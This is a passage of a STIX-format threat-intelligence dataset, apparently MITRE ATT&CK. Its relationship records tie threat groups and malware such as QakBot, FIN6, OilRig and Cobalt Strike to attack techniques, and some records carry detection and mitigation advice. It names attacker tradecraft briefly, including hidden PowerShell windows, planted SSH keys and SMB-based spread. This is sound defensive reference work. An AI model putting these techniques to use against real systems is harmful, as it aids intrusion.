"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--670efee1-b854-4d39-85b1-b6038e3580e3", "type": "relationship", "created": "2021-09-28T19:49:13.903Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}], "modified": "2021-09-28T19:49:13.903Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can move laterally using worm-like functionality through exploitation of SMB.(Citation: Crowdstrike Qakbot October 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--670f37e1-8de3-441e-bc09-ff95c09ee14d", "type": "relationship", "created": "2020-03-16T14:12:48.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-16T14:12:48.061Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67154159-cd44-4d9c-ae84-c82a8cd5ee58", "type": "relationship", "created": "2020-07-03T22:15:24.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries", "description": "Hamada, J.. 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Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-07-03T22:15:24.515Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to try to get users to click, download and open malicious files.(Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--671a20b9-ad4c-468f-9871-be3545907dd2", "created": "2021-03-25T13:39:14.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Targeting Elections September 2020", "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.", "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/"}, {"source_name": "Google Election Threats October 2020", "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021.", "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/"}, {"source_name": "Zscaler APT31 Covid-19 October 2020", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T22:12:26.887Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used malicious links in e-mails to deliver malware.(Citation: Microsoft Targeting Elections September 2020)(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--671cfed4-4809-4f53-a6b0-ff4da289e406", "type": "relationship", "created": "2020-09-08T14:19:02.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "McKeague, B. et al. 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Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}], "modified": "2020-09-08T14:19:02.613Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used has used Metasploit\u2019s named-pipe impersonation technique to escalate privileges.(Citation: FireEye FIN6 Apr 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--671e2f7d-21e4-4eb5-b2f3-aa55910c0f13", "created": "2022-06-16T13:10:43.197Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for logging that may suggest a list of available groups and/or their associated settings has been extracted, ex. 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Retrieved November 18, 2020."}, {"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bazar](https://attack.mitre.org/software/S0534) can hash then resolve API calls at runtime.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "modified": "2022-08-23T16:08:47.564Z", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6723c87e-f60a-465f-96cd-78d63d17ba01", "type": "relationship", "created": "2020-07-01T21:19:30.513Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.399Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) creates a new key pair with <code>ssh-keygen</code> and drops the newly created user key in <code>authorized_keys</code> to enable remote login.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--672625c1-bbe2-44c2-adf8-2055047024db", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67272019-b1e1-4c4e-8b7f-cd73b3ed6a31", "type": "relationship", "created": "2020-08-18T15:36:30.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}], "modified": "2020-08-18T15:36:30.833Z", "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) has the ability delete files from a compromised host.(Citation: SentinelOne Lazarus macOS July 2020)", "relationship_type": "uses", "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--672978f9-dfe0-467c-9034-00efdcef71d2", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--672c21b6-0a54-4b70-8ce0-591cc5a72622", "type": "relationship", "created": "2021-04-12T20:07:50.400Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali MUSTANG PANDA October 2019", "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}, {"source_name": "Avira Mustang Panda January 2020", "url": "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong", "description": "Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}], "modified": "2021-04-13T20:27:52.344Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has executed HTA files via cmd.exe, and used batch scripts for collection.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Avira Mustang Panda January 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--672f33f6-bdc1-40b2-a208-888d1002cc25", "type": "relationship", "created": "2021-09-07T15:24:47.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:10.016Z", "description": "[Peppy](https://attack.mitre.org/software/S0643) has the ability to automatically exfiltrate files and keylogs.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--6c2550d5-a01a-4bbb-a004-6ead348ba623", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6736036b-1b05-4857-aded-75a7d42a8be2", "created": "2023-07-27T15:33:07.523Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:38:18.951Z", "description": "(Citation: Mandiant FIN13 Aug 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--673afcb8-2fb0-4c17-9f91-8fb409943531", "type": "relationship", "created": "2020-12-17T15:41:29.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye ADFS", "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}], "modified": "2021-10-12T14:26:52.571Z", "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--673bf715-0ccc-48fd-93b5-570b417cc41a", "created": "2019-10-11T03:20:40.155Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Alperovitch 2014", "url": "https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used <code>-w hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Alperovitch 2014)", "modified": "2022-07-20T20:10:29.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--674031ea-4fff-4669-b44b-d289fa1cc36e", "type": "relationship", "created": "2020-05-26T16:17:59.542Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-15T19:59:06.535Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has used Pastebin to check the version of beaconing malware and redirect to another Pastebin hosting updated malware.(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6743c3f6-7f4f-40b3-bc9e-fe488f81f5e1", "type": "relationship", "created": "2021-02-08T23:18:31.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T23:18:31.833Z", "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can search for network shares on the domain or workgroup using <code>net view <host></code>.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--674679c9-0d34-43f2-8114-7066e613c4f1", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Xorrior Authorization Plugins", "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", "url": "https://xorrior.com/persistent-credential-theft/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:24:53.849Z", "description": "Monitor for suspicious additions to the `/Library/Security/SecurityAgentPlugins` directory.(Citation: Xorrior Authorization Plugins)\n\nMonitor for newly created files that may be used to register malicious network provider dynamic link libraries (DLLs).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67469b79-67e2-4932-9776-b09a82871723", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}, {"source_name": "OilRig New Delivery Oct 2017", "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}, {"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2021-03-12T16:36:07.554Z", "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6747d237-8156-453c-9751-3afd1b36bdca", "type": "relationship", "created": "2021-05-18T20:24:47.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.359Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can explore files on a compromised system.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67583965-9e89-49cd-bdac-9fd69d7857ae", "type": "relationship", "created": "2021-01-29T19:58:04.356Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rewterz Sidewinder APT April 2020", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}, {"source_name": "Rewterz Sidewinder COVID-19 June 2020", "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."}], "modified": "2021-07-21T12:24:09.264Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6758c87e-d187-46df-b02a-1e093b3054cc", "created": "2021-11-29T16:42:41.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. 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Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) can clear possible malware traces such as application logs.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T14:47:08.780Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67b0c62c-ce4f-4e08-8d8c-9e1fd4afe255", "type": "relationship", "created": "2021-08-31T13:33:56.807Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. 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Retrieved August 12, 2021."}], "modified": "2021-08-31T13:33:56.807Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has infected victims using watering holes.(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist MiniDuke Feb 2013", "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"}, {"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:58.859Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can download additional encrypted backdoors onto the victim via GIF files.(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67c21ae7-5dc3-4439-b5d1-df937abac3ad", "type": "relationship", "created": "2020-09-24T14:20:39.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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(2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. 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(2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}], "modified": "2020-05-26T21:02:38.359Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can detect and terminate active security software-related processes on infected systems.(Citation: TrendMicro Netwalker May 2020)\t", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--67e3c192-f0f3-4b8d-9fd7-b4200acebd85", "type": "relationship", "created": "2021-05-05T18:50:14.600Z", "created_by_ref": 